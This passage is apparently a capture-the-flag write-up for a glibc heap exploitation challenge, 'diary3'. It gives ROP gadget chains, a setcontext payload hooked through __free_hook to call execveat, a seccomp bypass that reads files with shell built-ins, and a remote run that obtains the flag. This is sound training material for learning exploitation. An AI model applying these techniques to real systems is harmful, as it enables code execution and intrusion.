0x0000000000093806 : mov rdx, qword ptr [rdi + 0x28] ; mov qword ptr [rdx + 0x20], rax ; jmp 0x937d6
0x0000000000150550 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
0x0000000000136125 : mov rdx, qword ptr [rdi + 8] ; mov rcx, qword ptr [rdi + 0x10] ; jmp 0x135f23
0x0000000000107e68 : mov rdx, qword ptr [rdi] ; jmp 0x107d3f
We are interested in:
0x0000000000150550 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
With this one, we can set $rdx
to the value at $rdi + 8
and then call the address at $rdx + 0x20
(that is $rdi + 0x28
).
So, we will try to call the gadget from setcontext
using the above one to set a ton of registers relative to $rdx
. However, there are some registers that are not setup, so we have to set $rsp
accordingly to return to a second ROP chain that will be placed on the heap to set $rax
, $r10
and call syscall
:
$ ROPgadget --binary libc.so.6 | grep ': pop r.. ; ret$'
0x000000000012bda5 : pop r10 ; ret
0x0000000000030e4d : pop r12 ; ret
0x0000000000026a25 : pop r13 ; ret
0x0000000000026f9d : pop r14 ; ret
0x0000000000026541 : pop r15 ; ret
0x0000000000047cf8 : pop rax ; ret
0x00000000000253a6 : pop rbp ; ret
0x00000000000314f9 : pop rbx ; ret
0x000000000010b31e : pop rcx ; ret
0x0000000000026542 : pop rdi ; ret
0x000000000012bda6 : pop rdx ; ret
0x0000000000026f9e : pop rsi ; ret
0x0000000000030e4e : pop rsp ; ret
$ ROPgadget --binary libc.so.6 | grep ': syscall'
0x0000000000026bd4 : syscall
So this is the code for the ROP chains:
pop_rax_ret_addr = glibc.address + 0x047cf8
pop_r10_ret_addr = glibc.address + 0x12bda5
syscall_addr = glibc.address + 0x26bd4
rop_chain = p64(pop_r10_ret_addr) + p64(0) # envp
rop_chain += p64(pop_rax_ret_addr) + p64(322) # sys_execveat
rop_chain += p64(syscall_addr)
payload = p64(heap_base_addr + 0x1bc0)
payload += b'A' * 16
payload += p64(glibc.sym.setcontext + 0x35)
payload += p64(0) # <-- [rdx + 0x28] = r8
payload += p64(0) # <-- [rdx + 0x30] = r9
payload += b'A' * 16 # padding
payload += p64(0) # <-- [rdx + 0x48] = r12
payload += p64(0) # <-- [rdx + 0x50] = r13
payload += p64(0) # <-- [rdx + 0x58] = r14
payload += p64(0) # <-- [rdx + 0x60] = r15
payload += p64(0) # <-- [rdx + 0x68] = rdi (dir_fd)
payload += p64(heap_base_addr + 0x1ba0) # <-- [rdx + 0x70] = rsi (pointer to "/bin/sh")
payload += p64(0) # <-- [rdx + 0x78] = rbp
payload += p64(0) # <-- [rdx + 0x80] = rbx
payload += p64(0) # <-- [rdx + 0x88] = rdx (argv)
payload += b'A' * 8 # padding
payload += p64(0) # <-- [rdx + 0x98] = rcx
payload += p64(heap_base_addr + 0x1bc8 + len(payload) + 16) # <-- [rdx + 0xa0] = rsp, pointing to ROP chain
payload += rop_chain # <-- [rdx + 0xa8] = rcx, will be pushed
Some offsets must be taken from GDB while debugging. In order to trigger the ROP chain, we must enter the first gadget in __free_hook
and call free
with a chunk that contains values at offset 8
and 28
to call the gadget at setcontext
and finally finish the ROP chain to call sys_execveat
:
write(p, 0x18, b'/bin/sh\0')
write(p, 0x18, p64(glibc.address + 0x150550))
write(p, 0x158, b'A' * 8 + payload)
delete(p, 13)
After a lot of work, we successfully pop a shell:
$ python3 solve.py
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Starting local process './diary3': pid 3649245
[*] Heap base address: 0x562b6634f000
[+] Glibc base address: 0x7f4a1d167000
[*] Switching to interactive mode
$ ls
Bad system call (core dumped)
$ whoami
Bad system call (core dumped)
$ id
Bad system call (core dumped)
$ cat flag.txt
Bad system call (core dumped)
But… we can’t execute commands because seccomp
rules still block sys_execve
and sys_fork
. However, we can use shell built-in commands such as echo
:
$ echo asdf
asdf
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Also, we can list files with echo *
:
$ echo *
diary3 flag.txt ld-2.29.so libc.so.6 note.txt solve.py
And finally, we can use a read
within a while
loop to read a file passed with a redirector:
$ while read line; do echo $line; done < flag.txt
HTB{f4k3_fl4g_f0r_t35t1ng}
More information on these tricks at HackTricks.
Flag
To run the challenge remotely, we need to substract 0x410
to the base address of the heap because there is a freed chunk that appears in the local environment but does not appear when running behind xinetd
service. I’m talking about this chunk, which holds the banner string:
$ gdb -q diary3
Reading symbols from diary3...
(No debugging symbols found in diary3)
Use Pwndbg's config and theme commands to tune its configuration and theme colors!
pwndbg> run
Starting program: ./diary3
Welcome to Dream Diary: Chapter 3! The return of a Dream Diary with modern protections!
1. write about dream
2. edit dream
3. delete dream
4. recount dream
5. exit diary
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eedf81 in read () from ./libc.so.6
pwndbg> vis_heap_chunks
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x55555555b000 0x0000000000000000 0x0000000000000251 ........Q.......
0x55555555b010 0x0000000000000000 0x0000000000000000 ................
0x55555555b020 0x0000000000000000 0x0000000000000000 ................
0x55555555b030 0x0000000000000000 0x0000000000000000 ................
...
0x55555555b240 0x0000000000000000 0x0000000000000000 ................
0x55555555b250 0x0000000000000000 0x0000000000000411 ................
0x55555555b260 0x0000000000000000 0x0000000000000000 ................
0x55555555b270 0x203a797261694420 0x2072657470616843 Diary: Chapter
0x55555555b280 0x2065685420202133 0x6f206e7275746572 3! The return o
0x55555555b290 0x6165724420612066 0x207972616944206d f a Dream Diary
0x55555555b2a0 0x646f6d2068746977 0x746f7270206e7265 with modern prot
0x55555555b2b0 0x21736e6f69746365 0x000000000000000a ections!........
0x55555555b2c0 0x0000000000000000 0x0000000000000000 ................
...
0x55555555b640 0x0000000000000000 0x0000000000000000 ................
0x55555555b650 0x0000000000000000 0x0000000000000000 ................
0x55555555b660 0x0000000000000000 0x00000000000209a1 ................ <-- Top chunk
So, this minor modification on the exploit will do the trick:
heap_base_addr -= 0x410 if len(sys.argv) > 1 else 0
Now we can get a shell on the remote instance and read the flag with the above tricks:
$ python3 solve.py 134.122.104.91:31413
[*] './diary3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
[+] Opening connection to 134.122.104.91 on port 31413: Done
[*] Heap base address: 0x55bab1eb9000
[+] Glibc base address: 0x7fc444794000
[*] Switching to interactive mode
$ echo *
bin cant_guess_me_f14G.txt dev diary3 ld-2.29.so lib lib64 libc.so.6 start.sh
$ while read line; do echo $line; done < cant_guess_me_f14G.txt
HTB{m0d3rN_Nu11_bYT3+s3cC0mP_b1@Ck1i5t1Ng=>n0t_s0_S@f3!!!}
The full exploit script can be found in here: solve.py
.